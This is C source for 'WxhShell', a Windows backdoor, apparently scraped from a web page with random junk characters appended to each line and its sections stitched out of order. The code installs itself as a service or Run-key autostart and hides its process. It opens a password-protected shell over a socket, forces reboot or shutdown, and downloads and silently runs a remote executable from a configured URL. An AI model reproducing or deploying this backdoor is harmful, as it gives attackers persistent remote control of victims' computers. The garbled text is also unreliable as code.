    break; EX,>V,.UV  
    } EPm~@8@"j?  
  // 关机 : auR0FE  
  case 'd': { *`>BOl+ro  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k^5Lv#Z  
    if(Boot(SHUTDOWN)) J1w;m/oV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /\mtCa.O  
    else { QiK>]xJ'  
    closesocket(wsh); m:@y_:X0  
    ExitThread(0); U1\7Hcs$  
    } 5`h$^l/  
    break; R)NSJ-A!2  
    } $n<a`PdH  
  // 获取shell h"FI]jK|}  
  case 's': { $1f2'_`8~  
    CmdShell(wsh); BgQEd@cN  
    closesocket(wsh); k:0j;\Sx  
    ExitThread(0); zWY988fX0  
    break; 0Lo8pe`DH  
  } >kXscbRL7  
  // 退出 :i.@d?  
  case 'x': { L(y70T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l=?e0d>O  
    CloseIt(wsh); (< +A  w7  
    break; (Pc>D';{S  
    } Hw \of  
  // 离开 $/wm k7T  
  case 'q': { e]4$H.dP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c'oiW)8;A  
    closesocket(wsh); $ XjijD9R  
    WSACleanup(); \n<! ld  
    exit(1); VLuHuih  
    break; <)7aNW.  
        } b\P:a_vq  
  } (&}[2pb!  
  } (b25g!  
s6H.Q$3L  
  // 提示信息 a?[[F{X9^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Iz0$T.T  
} QjTSbHtH  
  } $1yy;IyR  
]az(w&vqg2  
  return; { 4J.  
} U1 _"D+XB  
PaCC UF  
// shell模块句柄 BA@E  
int CmdShell(SOCKET sock) / VYT](  
{ u)oAQ<w  
STARTUPINFO si;  ?eS;Yc  
ZeroMemory(&si,sizeof(si)); YBt=8`r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t;* zr*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =B}IsBn'J  
PROCESS_INFORMATION ProcessInfo; Am, {Fj  
char cmdline[]="cmd"; +?J  N_aR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )Zq'r L<  
  return 0; A@V$~&JCL5  
} g,,wG k  
#9,8{ O"  
// 自身启动模式 g+#<;Gbpe  
int StartFromService(void) h>pu^ `hk  
{ Xg dBLb  
typedef struct /4x\}qvU  
{ [F6 )Z[uG  
  DWORD ExitStatus; 'K7\[if{  
  DWORD PebBaseAddress; M%E<]H2;S  
  DWORD AffinityMask; M<-Q8 a~  
  DWORD BasePriority; D ,kxB~  
  ULONG UniqueProcessId; #`iEbiSq  
  ULONG InheritedFromUniqueProcessId; HE&)N clY  
}   PROCESS_BASIC_INFORMATION; Fm`*j/rq  
{$8+n::  
PROCNTQSIP NtQueryInformationProcess; ~/rD _K  
{H)7K.hQN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >7W)iwF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +>PsQ^^x  
x}/jh  
  HANDLE             hProcess; C.?^] Y  
  PROCESS_BASIC_INFORMATION pbi; }#ink4dK:  
t3)6R(JC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )Cy>'l*Og7  
  if(NULL == hInst ) return 0; /a\i  
u@Hz7Q} P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5} %R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5zK,(cF0-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )LGVR 3#  
. 1kB8&}  
  if (!NtQueryInformationProcess) return 0; xJ>5 ol  
D!.c??   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); coXg]bUKo  
  if(!hProcess) return 0; ?t 'V5$k\  
\c2x udU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $gr>Y2i  
i^DMnvV.  
  CloseHandle(hProcess); T=PqA)Ym  
u8c@q'_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TtkHMPlm_  
if(hProcess==NULL) return 0; ;"M6}5dQ4  
~vXbh(MX  
HMODULE hMod; 8dR `T}  
char procName[255]; t oGiG|L  
unsigned long cbNeeded; w[X-Q+7p(t  
rl}<&aPH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KKC%!Xy  
n.g-%4\q  
  CloseHandle(hProcess); 8:0/Cj  
h *R@ d  
if(strstr(procName,"services")) return 1; // 以服务启动 l`"?K D  
bTJ<8q  
  return 0; // 注册表启动 jL-2 }XrA  
} |R.yuSL)(  
F^GNOD3J  
// 主模块 $b`nV4p  
int StartWxhshell(LPSTR lpCmdLine) c^I^jg2v  
{ Bz/ba *  
  SOCKET wsl; 3)WfBvG  
BOOL val=TRUE; nP%U<$,+  
  int port=0; S%- kN;  
  struct sockaddr_in door; T\9[PX<  
tK;xW  
  if(wscfg.ws_autoins) Install(); SZH`-xb!+5  
%,WH*")  
port=atoi(lpCmdLine); GL?b!4xx  
5Npxs&Ea  
if(port<=0) port=wscfg.ws_port; ]hV!lG1_  
UOb` @#  
  WSADATA data; fg LY{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NVRzthg%c_  
^]sb=Amw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x'g4DYl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -J3~j kf  
  door.sin_family = AF_INET; (RFH.iX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %*Ex2we&  
  door.sin_port = htons(port); 4s 7 RB  
pg%(6dqK4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,ayEZ#4.m  
closesocket(wsl); !=eNr<:V.  
return 1; $wAR cS  
} Ba[,9l[  
iyn9[>j e  
  if(listen(wsl,2) == INVALID_SOCKET) { Xf4~e(O  
closesocket(wsl); fG1iq<~  
return 1; Z3&}C h  
} wp@_4Iq1$  
  Wxhshell(wsl); OKh0m_ )7  
  WSACleanup(); +ydd"`  
ah*{NR)  
return 0; {dZ]+2Z~+  
+(2$YJ35  
} 'i%r  
J$}]p  
// 以NT服务方式启动 <8}FsRr;J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eN<L)a:J_  
{ + ,Krq 3P  
DWORD   status = 0; l/={aF7+  
  DWORD   specificError = 0xfffffff; ^2- <XD)  
WO.u{vW]'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m%6VwV7U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =p_*lC%N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,<IomA:q4  
  serviceStatus.dwWin32ExitCode     = 0; Nf([JP% 4  
  serviceStatus.dwServiceSpecificExitCode = 0; <<!fA ><W  
  serviceStatus.dwCheckPoint       = 0; 'S3<' X  
  serviceStatus.dwWaitHint       = 0; 0g[ %)C  
+%YBa'Lk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i2Wvu3,D3-  
  if (hServiceStatusHandle==0) return; c*rH^Nz  
@Fc:9a@  
status = GetLastError(); US$$ADq  
  if (status!=NO_ERROR) %>$<s<y  
{ bB?E(>N;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U> lf-iI2B  
    serviceStatus.dwCheckPoint       = 0; 8)>x)T  
    serviceStatus.dwWaitHint       = 0; (T*$4KGV  
    serviceStatus.dwWin32ExitCode     = status; OK]QDb  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6C2~0b   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jMn,N9Mf  
    return; yMWh#[phH  
  } Dy.i^`7\  
N" L&Z4Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?=9'?K/~a  
  serviceStatus.dwCheckPoint       = 0; fk ,Vry  
  serviceStatus.dwWaitHint       = 0; b=r3WkB6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p XXf5adl<  
} n1PptR  
}sH[_%)  
// 处理NT服务事件,比如:启动、停止 N[@H107`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DURWE,W>  
{ sex\dg<  
switch(fdwControl) > T *`Y0P  
{ @[lMh9`  
case SERVICE_CONTROL_STOP: Bh&pZcm|  
  serviceStatus.dwWin32ExitCode = 0; 3aq'JVq   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0o+Yjg>\~8  
  serviceStatus.dwCheckPoint   = 0; o=R(DK# U  
  serviceStatus.dwWaitHint     = 0; iv>MIdIm  
  { _;03R{e*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZxNTuGOB:  
  } 5;}W=x^$a  
  return; Uuy$F  
case SERVICE_CONTROL_PAUSE: 0S4BV%7F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R1H^CJ=v0  
  break; gl+d0<R zw  
case SERVICE_CONTROL_CONTINUE: ZjmQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d 5yEgc;z  
  break; mxqD'^n#  
case SERVICE_CONTROL_INTERROGATE: Mm$\j*f/  
  break; @#4-4.6I<x  
}; 2yK">xYY@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]^C 8Oh<  
} 1_TuA(  
T`!R ki%~  
// 标准应用程序主函数 VVDN3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @F 5Af/  
{ *U^Y@""a  
;+wB!/k,  
// 获取操作系统版本 W#bYz{s.  
OsIsNt=GetOsVer(); tle`O)&uo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D[yyFo,z  
WrGA7&!+  
  // 从命令行安装 Qel)%|dOn  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6|NH*#s  
?z1v_Jh  
  // 下载执行文件 Oin9lg-jR  
if(wscfg.ws_downexe) { (j'\h/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r""rJzFz'  
  WinExec(wscfg.ws_filenam,SW_HIDE); !uGfS' Vl  
} I&+.IK_  
w&?XsO@0W  
if(!OsIsNt) { nW)+-Wxq  
// 如果时win9x,隐藏进程并且设置为注册表启动 /i"hViCrlG  
HideProc(); 1*8;)#%&  
StartWxhshell(lpCmdLine); 6=;:[  
} $/M-@3wro  
else Z i6s0Uck  
  if(StartFromService()) hty'L61\z  
  // 以服务方式启动 fLe~X!#HF  
  StartServiceCtrlDispatcher(DispatchTable); Z oXz@/T  
else z&gma Ywq  
  // 普通方式启动 (S!UnBb&  
  StartWxhshell(lpCmdLine); `2 <:$]  
itzUq,T  
return 0; FC1rwXL(  
} }i!+d,|f  
.rK0C)  
geR :FO;\  
yq-~5ui  
=========================================== Q|)>9m!tt  
%NQ%6 B  
,LA'^I?  
R0=f`;  
`a& L  
<2)AbI+3  
" .~o{i_JH  
eaFkDl  
#include <stdio.h> hTDGgSG^  
#include <string.h> *5PQ>d G  
#include <windows.h> naaKAZ!S  
#include <winsock2.h> |<c9ZS+  
#include <winsvc.h> ,7s>#b'  
#include <urlmon.h> b23A&1X  
n0=]C%wr  
#pragma comment (lib, "Ws2_32.lib") &|XgWZS5  
#pragma comment (lib, "urlmon.lib") ATkd#k%S  
 zjUQ]  
#define MAX_USER   100 // 最大客户端连接数 Gt&yz"?D  
#define BUF_SOCK   200 // sock buffer %"f85VfZ  
#define KEY_BUFF   255 // 输入 buffer iLnW5yy  
i?/Q7D<P  
#define REBOOT     0   // 重启 ^^v3iCT  
#define SHUTDOWN   1   // 关机 Sl8+A+  
STnMBz7  
#define DEF_PORT   5000 // 监听端口 aE'nW_f  
6 >)fNCe`  
#define REG_LEN     16   // 注册表键长度 o:#jvi84F  
#define SVC_LEN     80   // NT服务名长度 j9k:!|(2'  
9Vm aB  
// 从dll定义API gg`{kN^r.a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pl>b 6 |  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O H>.N"IG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9^!.!%6O$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9YI@c_1 Q  
;((t|  
// wxhshell配置信息 'KjH|u  
struct WSCFG { QT+kCN  
  int ws_port;         // 监听端口 US)i"l7:H*  
  char ws_passstr[REG_LEN]; // 口令 us.[wp'Sh  
  int ws_autoins;       // 安装标记, 1=yes 0=no C[,h!  
  char ws_regname[REG_LEN]; // 注册表键名 @S3L%lOH  
  char ws_svcname[REG_LEN]; // 服务名 ^Z)7Z% O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W$jRS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )"\= _E#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W%+02_/)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -dovk?'Gj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y7pBcyWTE=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OFr"RGW"  
gqv+|:#  
}; IER;d\_V<  
;cVK2'  
// default Wxhshell configuration igQzL*X  
struct WSCFG wscfg={DEF_PORT, =-oP,$k  
    "xuhuanlingzhe", yr},pB  
    1, p^Ey6,!8]D  
    "Wxhshell", m u9,vH  
    "Wxhshell", fL| 9/sojz  
            "WxhShell Service", Ct `)R  
    "Wrsky Windows CmdShell Service", O h e^{:  
    "Please Input Your Password: ", (.$$U3\  
  1, 5{yg  
  "http://www.wrsky.com/wxhshell.exe", }$<v  
  "Wxhshell.exe" Z><+4 '  
    }; C5(XZscq  
# fF5O2E'3  
// 消息定义模块 Vl$RMW@Ds  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~EmK;[Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |\Gkhi>;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N $>Ml!J  
char *msg_ws_ext="\n\rExit."; j?C[ids<  
char *msg_ws_end="\n\rQuit."; RK@K>)"f  
char *msg_ws_boot="\n\rReboot..."; P6%qNR/ x  
char *msg_ws_poff="\n\rShutdown..."; $|7"9W}m*  
char *msg_ws_down="\n\rSave to "; C)m@/w  
r4u ,I<ZbH  
char *msg_ws_err="\n\rErr!"; ]A[}:E 5}  
char *msg_ws_ok="\n\rOK!"; M+")*Opq  
ozsd6&z5l  
char ExeFile[MAX_PATH]; r } Wdj  
int nUser = 0; cl`kd)"v  
HANDLE handles[MAX_USER]; NdJ]\>5oN,  
int OsIsNt; \ 3E%6L  
\#biwX  
SERVICE_STATUS       serviceStatus; T ^eD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yE N3/-S+  
,sj(g/hg  
// 函数声明 c k[uvH   
int Install(void); )P R`irw  
int Uninstall(void); <,O| fY%  
int DownloadFile(char *sURL, SOCKET wsh); %ly&~&0  
int Boot(int flag); bo/U5p  
void HideProc(void); R}(Rv3>Xx  
int GetOsVer(void); u L v  
int Wxhshell(SOCKET wsl); ,r3`u2)  
void TalkWithClient(void *cs); EQoK\.; G~  
int CmdShell(SOCKET sock); I.t)sf,  
int StartFromService(void); DBy%"/c  
int StartWxhshell(LPSTR lpCmdLine); >Ch2Ep  
Zah<e6L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -ik$<>{X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @[FO;4w  
iaMl>ua  
// 数据结构和表定义 s-6$C  
SERVICE_TABLE_ENTRY DispatchTable[] = L7lpOy4k  
{ M`7lYw\Or!  
{wscfg.ws_svcname, NTServiceMain}, @ebY_*  
{NULL, NULL} .HTRvE`X  
}; k_1;YO BF  
BV<_1 WT}  
// 自我安装 Foj|1zJS_  
int Install(void) maSVqG  
{  {y{O ze  
  char svExeFile[MAX_PATH]; b!-=L&V  
  HKEY key; xGOmvn^lQ  
  strcpy(svExeFile,ExeFile); v#9i|  
"&qAV'U  
// 如果是win9x系统,修改注册表设为自启动 w[vccARQ  
if(!OsIsNt) { k0FAI0~(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n2o)K;wW+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u=PLjrB~}  
  RegCloseKey(key); 8fQfu'LyjY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fM& fqI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ) F -8  
  RegCloseKey(key); Wt5pK[JV  
  return 0; Z1$ S(p=)L  
    } &n?RKcH}d  
  } Cw!tB1D  
} 1e9~):C~W  
else { J10/pS  
C5KUIOg  
// 如果是NT以上系统,安装为系统服务 ,y0 &E8Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kxrYA|x  
if (schSCManager!=0) SPe%9J+  
{ cAx$W6S  
  SC_HANDLE schService = CreateService (uHyWEHt  
  ( _^?_Vb  
  schSCManager, nql{k/6  
  wscfg.ws_svcname, 3 %BI+1&T_  
  wscfg.ws_svcdisp, HOPl0fY$L  
  SERVICE_ALL_ACCESS, 6%9 kc+ 9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rc93Fb-Zp  
  SERVICE_AUTO_START, u>] )q7s  
  SERVICE_ERROR_NORMAL, oG hMO  
  svExeFile, D0_CDdW%7  
  NULL, 5%K|dYv^^  
  NULL,  !Qsjn  
  NULL, b5~p:f-&4B  
  NULL, i u0'[  
  NULL I(3YXv VN  
  ); ]"O* &  
  if (schService!=0) ~md06"AYJ  
  { h8k\~/iJ  
  CloseServiceHandle(schService); DoBQ$Ke p  
  CloseServiceHandle(schSCManager); Jz0AYiCq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _/ 5  
  strcat(svExeFile,wscfg.ws_svcname); vEE\{1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vv`94aQTD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %"#ydOy  
  RegCloseKey(key); {a2Gb  
  return 0; 3*?W2;Zw$  
    } ~USyN'5lU7  
  } ES(qu]CjI  
  CloseServiceHandle(schSCManager); pL*aU=FjQ  
} Wj)v,v2&  
} RP 6<#tq,  
19[.&-u"  
return 1; JS?%zj&@  
} C!1)3w|  
%LqT>HXJ  
// 自我卸载 WK0IagYw  
int Uninstall(void) F *U.cJ%  
{ 3C;;z  
  HKEY key; 6xr%xk2E  
zt  
if(!OsIsNt) { ;S&anC#E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cl{mRt0  
  RegDeleteValue(key,wscfg.ws_regname); I !lR 7%  
  RegCloseKey(key); M`9|8f,!a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |<8Fa%!HHc  
  RegDeleteValue(key,wscfg.ws_regname); VV[Fb9W ;  
  RegCloseKey(key); M4 }))  
  return 0; SpIiMu(  
  } AYsHA w   
} j5smmtM`s  
} Vvv;m5.  
else { Ofb&W AD  
YoK )fh$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9B>P Qbs  
if (schSCManager!=0) }Q^*Zq9-  
{ "2tKh!?Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pI_:3D xe  
  if (schService!=0) )RWY("SUy1  
  { ?oV|.LM:W  
  if(DeleteService(schService)!=0) { &tiJ=;R1  
  CloseServiceHandle(schService); &- My[t  
  CloseServiceHandle(schSCManager); [s] ZT  
  return 0; {g4w[F!77  
  } y\:Ma7V  
  CloseServiceHandle(schService); ^FTS'/Q  
  } pz{ ]O_px  
  CloseServiceHandle(schSCManager); k|jr+hmn":  
} tQ.H/;  
} kf95)iLo  
cQ`0d3  
return 1; s? Gv/&  
} T;,,!  
c:B` <  
// 从指定url下载文件 S*76V"")  
int DownloadFile(char *sURL, SOCKET wsh) +'VYqu/  
{ On[yL$?  
  HRESULT hr; W]>%*n  
char seps[]= "/"; iJKGzHvS  
char *token; UQP>yuSx  
char *file; fL-$wK<p<  
char myURL[MAX_PATH]; V he$vH  
char myFILE[MAX_PATH]; u3Zu ~C  
[4yw? U  
strcpy(myURL,sURL); P*ZMbAf.  
  token=strtok(myURL,seps); =L?2[a$2;  
  while(token!=NULL) 93,7yZ 5#  
  { q(2ZJn13f  
    file=token; ?O]RQXsZ2  
  token=strtok(NULL,seps); X]W(  
  } 5Z:qU{[  
0xeY0!ux  
GetCurrentDirectory(MAX_PATH,myFILE); d*U<Ww^q  
strcat(myFILE, "\\"); Ue>{n{H"y  
strcat(myFILE, file); #D ]CuSi  
  send(wsh,myFILE,strlen(myFILE),0); 6y^GMlsI  
send(wsh,"...",3,0); {lppv(U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U+[ "b-c  
  if(hr==S_OK) m !i`|]m  
return 0; h$6~3^g:P  
else 0x^lHBYc  
return 1; 5x,/p  
hL}ZPHA  
} ]8'PLsS9<w  
t4hc X[  
// 系统电源模块  &Du S*  
int Boot(int flag) ['K}p24,  
{ N9rAosO*  
  HANDLE hToken; bu08`P9  
  TOKEN_PRIVILEGES tkp; l<7SB5  
VZ 7(6?W  
  if(OsIsNt) { )$d~HA@B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); );n/G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *!dA/sid  
    tkp.PrivilegeCount = 1; zXbA$c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tv 5J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *=T(ncR['  
if(flag==REBOOT) { NnU`u.$D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vWa\8yf  
  return 0; h 'Hnq m  
} % w  
else { sN#ju5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $>+g)  
  return 0; kZi/2UA5Z  
} dB:c2  
  } (<e<Q~(  
  else { MY}K.^ 4^  
if(flag==REBOOT) { B`jq"[w]-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1i)3!fH0:  
  return 0; 2n-kJl`: O  
} h[<l2fy  
else { Qam48XZ >  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H4sc7-  
  return 0; 1<*U:W $g  
} }WBHuVcZG  
} q1ZZ T"'  
@S>;t)\J  
return 1; OkCAvRg  
} | :id/  
x]3[0K5;  
// win9x进程隐藏模块 ]I zD`  
void HideProc(void) K{B|  
{ e,W,NnCICj  
rI6+St  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p(Osz7K  
  if ( hKernel != NULL ) qL[ SwEc  
  { Mq'm TM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l@-h.tS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (=EDqAZg  
    FreeLibrary(hKernel); f/iMI)J  
  } ibG>|hV  
1xh7KBr,  
return; Z/|=@gpw  
} :3b02}b7  
W,_2JqQp  
// 获取操作系统版本 <td]k%*+  
int GetOsVer(void) h ^s8LE3  
{ JO90TP $  
  OSVERSIONINFO winfo; k1s5cg=n(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >Q?8tGfB  
  GetVersionEx(&winfo); @7V~CNB+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {];-b0MS~  
  return 1; n+i=Ff  
  else k,f/9e+#  
  return 0; nr,Z0  
} |{_>H '  
$J&c1  
// 客户端句柄模块 Fmz+ Xb  
int Wxhshell(SOCKET wsl) )} t't"  
{ (Nv -wU  
  SOCKET wsh; )?c,&  
  struct sockaddr_in client; 5Z6MQ`(k  
  DWORD myID; ,LxkdV  
TU*EtE'g/  
  while(nUser<MAX_USER) IOY7w"|LW  
{ =)gdxywoC  
  int nSize=sizeof(client); WIpV'F|t]`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fGRV]6?V  
  if(wsh==INVALID_SOCKET) return 1; 6<R[hIWpZ}  
5NH4C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nj0]c`6rN@  
if(handles[nUser]==0) l=(( >^i  
  closesocket(wsh); ek0!~v<I  
else 5C^@w  
  nUser++; I3d}DpPx%  
  } $$"G1<EZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +%u3% }  
p8?v o ?^  
  return 0; >}W[>WReI  
} ]^>:)q  
6 .)Xeb"  
// 关闭 socket 3eXIo=  
void CloseIt(SOCKET wsh) "Aw)0a[j1  
{ H\\FAOj  
closesocket(wsh); @qj]`}Gx'  
nUser--; g|7o1{   
ExitThread(0); CyW|k Dz  
} cDE5/!  
;gD\JA  
// 客户端请求句柄 SW'eTG  
void TalkWithClient(void *cs) BenyA:W"  
{ XoL DqN!  
g.vE%zKL  
  SOCKET wsh=(SOCKET)cs; %'Q2c'r  
  char pwd[SVC_LEN]; i. (Af$  
  char cmd[KEY_BUFF]; 5b*knN>  
char chr[1]; X{OWDy  
int i,j; ws^Ne30R  
' VKD$q  
  while (nUser < MAX_USER) { KB(W'M_D\  
:Jv5Flxl  
if(wscfg.ws_passstr) { NY.* S6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~(kqq#=s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o[fg:/5)A  
  //ZeroMemory(pwd,KEY_BUFF); ( N};.DB1Y  
      i=0; 7v)p\#-  
  while(i<SVC_LEN) { hqmE]hwc  
`[U.BVP'  
  // 设置超时 _vDmiIn6K  
  fd_set FdRead; 1EEcNtpub]  
  struct timeval TimeOut; a#;;0R $  
  FD_ZERO(&FdRead); |5O>7~Tp  
  FD_SET(wsh,&FdRead); $~W5! m  
  TimeOut.tv_sec=8; }u=Oi@~  
  TimeOut.tv_usec=0; nPqpat`E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .9PT)^2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *kg->J  
|iUC\F=-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a.}#nSYP  
  pwd=chr[0]; {\P%J:s#9  
  if(chr[0]==0xd || chr[0]==0xa) { 0doJF@H  
  pwd=0; IDFzyg_  
  break; QuPz'Ut#  
  } /lu|FWbEw  
  i++; >7%T%2N  
    } G8klWZAJ  
V-n{=8s  
  // 如果是非法用户,关闭 socket vZ"gCf3#?3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m m`#v g,  
} dIlpo0; F  
| |awNSt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /#H P;>!n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :Ev gUA\4  
hpb|| V  
while(1) { J ~3m7  
t^FE]$,  
  ZeroMemory(cmd,KEY_BUFF); VN!nef  
:T G;W,`.V  
      // 自动支持客户端 telnet标准   c {%mi  
  j=0; 40h$- VYT/  
  while(j<KEY_BUFF) { 80[# 6`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -P/DmSS8V  
  cmd[j]=chr[0]; Q47R`"  
  if(chr[0]==0xa || chr[0]==0xd) { J 3C^tV  
  cmd[j]=0; jqc}mI\#  
  break; _lwKa, }  
  } 6&ut r!\7  
  j++; e'G=.:  
    } 1p$(\  
"8ellKh  
  // 下载文件 ,.>9$(s  
  if(strstr(cmd,"http://")) { _#:7S sJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OB$Jv<C@  
  if(DownloadFile(cmd,wsh)) p TwzVz~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sq ]gU  
  else BO w[*hM  
